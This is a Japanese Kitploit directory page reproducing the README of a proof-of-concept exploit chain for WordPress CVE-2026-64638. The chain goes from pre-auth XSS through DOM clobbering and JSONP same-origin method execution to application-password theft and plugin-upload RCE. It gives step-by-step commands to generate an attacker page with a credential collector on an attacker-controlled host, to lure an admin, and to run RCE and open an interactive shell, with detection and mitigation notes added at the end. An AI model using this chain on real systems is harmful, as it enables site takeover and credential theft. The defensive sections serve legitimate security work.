Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
poc-CVE-2026-64638- — DOM clobbering、REST JSONP/SOME、プラグインのアップロードを介したWordPress pre-auth XSSからRCEへのPoCエクスプロイトチェーン。Dockerラボでの検証と対話型シェルを備えています。 | Kitploit
ツール/GitHubGitHub/mohwahyudi/poc-cve-2026-64638-
フィッシングツールペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストソーシャルエンジニアリングレッドチーミング
GitHubmohwahyudi/poc-cve-2026-64638-

poc-CVE-2026-64638-

DOM clobbering、REST JSONP/SOME、プラグインのアップロードを介したWordPress pre-auth XSSからRCEへのPoCエクスプロイトチェーン。Dockerラボでの検証と対話型シェルを備えています。

リポジトリを見る
61ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

XSS2Shell — CVE-2026-64638 PoC

WordPressの事前認証XSS → RCEエクスプロイトチェーン。pwn.ai による研究に基づき、ionsec.io に公開されています。

⚠️ 法的警告: 教育目的および許可されたテスト専用です。所有するシステム、または明示的な書面による許可を得たシステムに対してのみ使用してください。

ラボ検証

手順手法状態
1パーサー差分XSS (sanitize_user + ブラウザのパース差分)✅ 検証済み
2DOM clobbering (<area id=ajaxurl>, <div id=color-picker>)✅ 検証済み
3user-profile.js ログインページでの自動トリガー✅ 検証済み
4REST JSONPコールバックがドットトラバーサルを許可 (window.opener.approve.click)✅ 検証済み
5_method=GET + _envelope=1 のオーバーライド✅ 検証済み
6アプリケーションパスワードの窃取 (SOME)⚠️ 管理者のクリックが必要
7プラグインアップロード → PHP実行 (有効化不要)⚠️ 資格情報が必要

詳細は lab/VERIFICATION_REPORT.md を参照してください。

脆弱性概要

エクスプロイトチェーン (7ステップ)

root@kitploit:~
Step 1: Parser Differential XSS
  └─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
     Browser parses these as real HTML elements in login error message

Step 2: DOM Clobbering
  └─ <area id=ajaxurl>   → shadows window.ajaxurl (HTMLAreaElement)
     <div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
     <button class="wp-generate-pw color-option"> → delegated click handler

Step 3: user-profile.js Auto-Trigger
  └─ Enqueued on wp-login.php (line 1398)
     $('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
     $.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)

Step 4: REST API JSONP + SOME
  └─ _jsonp=window.opener.approve.click → Same Origin Method Execution
     _envelope=1 → bypass auth error, wrap response in 200
     wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal

Step 5: Social Engineering (1 click)
  └─ Admin sees real /wp-admin/authorize-application.php page
     Clicks "Approve" → application password minted

Step 6: Credential Theft
  └─ Password appears in redirect query string → read by child window (same-origin)

Step 7: Plugin Upload → RCE
  └─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
     PHP files directly executable WITHOUT activation

クイックスタート

1. 依存関係のインストール

root@kitploit:~
pip install requests

2. ターゲットの偵察

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com --check

# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081

3. Dockerラボ (テスト用)

root@kitploit:~
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123

4. ラボに対するXSSベクターの検証

root@kitploit:~
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl

5. 攻撃者ページの生成

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --attacker-host https://your-server.com --generate-page

xss2shell_attacker.html と collect.php をサーバーにアップロードしてください。

6. 管理者にリンクを送信

ログイン済みのWordPress管理者が攻撃者ページにアクセスし、1回クリックする必要があります。

7. 資格情報の受信

資格情報はサーバー上の collected_creds.json に表示されます:

root@kitploit:~
[
  {
    "timestamp": "2026-08-08T...",
    "username": "admin",
    "password": "AbCd 1234 EfGh 5678",
    "site": "https://wp-target.com"
  }
]

8. RCEチェーンの実行

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --rce

9. インタラクティブシェル

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --shell

10. クリーンアップ

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --cleanup

検出 (ログフォレンジック)

サーバーログで検索すべきシグネチャ:

  • アクセスログ: POST /wp-login.php で本文に < area、< div、< button を含む
  • アクセスログ: クエリパラメータに _jsonp= を含むRESTリクエスト (特に _jsonp=a.b.c — ドットがSOMEの兆候です)
  • アクセスログ: それらを拒否すべきルートでの _envelope=1 + _method=GET
  • アクセスログ: 認識されていないIPからの POST /wp-admin/update.php?action=upload-plugin
  • アクセスログ: GET /wp-content/plugins/{unknown-plugin}/*.php — 一度も有効化されていないプラグイン内のPHPファイル
  • アプリログ: authorize-application.php へのリクエストから数秒以内に作成されたアプリケーションパスワード

緩和策

  1. パッチ適用: WordPress 7.0.3 (またはお使いのブランチの最新ポイントリリース) に更新する
  2. すべての管理者アプリケーションパスワードをローテーションする
  3. 不要な場合はアプリケーションパスワードを無効化する:
    root@kitploit:~
    add_filter('wp_is_application_passwords_available', '__return_false');
    
  4. REST JSONPを無効化する:
    root@kitploit:~
    add_filter('rest_jsonp_enabled', '__return_false');
    
  5. ファイル変更を無効化する:
    root@kitploit:~
    define('DISALLOW_FILE_MODS', true);
    
  6. WAFルール: RESTエンドポイントで _jsonp=、_envelope= をブロックする。wp-login.php へのPOST本文の < area をブロックする。

ファイル構成

root@kitploit:~
xss2shell/
├── README.md                      # Documentation (this file)
├── xss2shell_poc.py               # Main PoC script
├── xss2shell_attacker.html        # Generated attacker page
├── collect.php                    # Credential collector endpoint
└── lab/
    ├── docker-compose.yml         # Docker lab (WP 6.0.3)
    ├── VERIFICATION_REPORT.md     # Step-by-step verification
    ├── test_sanitize.php          # sanitize_user() tests
    ├── test_full_payload.php      # Full payload chain test
    ├── test_browser.html          # DOM clobbering browser test
    ├── test_end_to_end.php        # End-to-end PHP test
    └── verify_xss.sh              # Automated curl tests

参考情報

  • IonSec — XSS2Shell: WordPressの事前認証XSSからRCEへ
  • pwn.ai — 最初の発見
  • WordPress セキュリティリリース
ツールをダウンロード
項目詳細
CVECVE-2026-64638
CVSS 4.08.9
影響を受けるバージョンWordPress 4.7 – 7.0.2 (未パッチのポイントリリース)
修正済みバージョンWordPress 7.0.3 (2026年8月6日)、全メンテナンスブランチにバックポート済み
認証事前認証 (未認証XSS)
影響プラグインアップロードによるRCE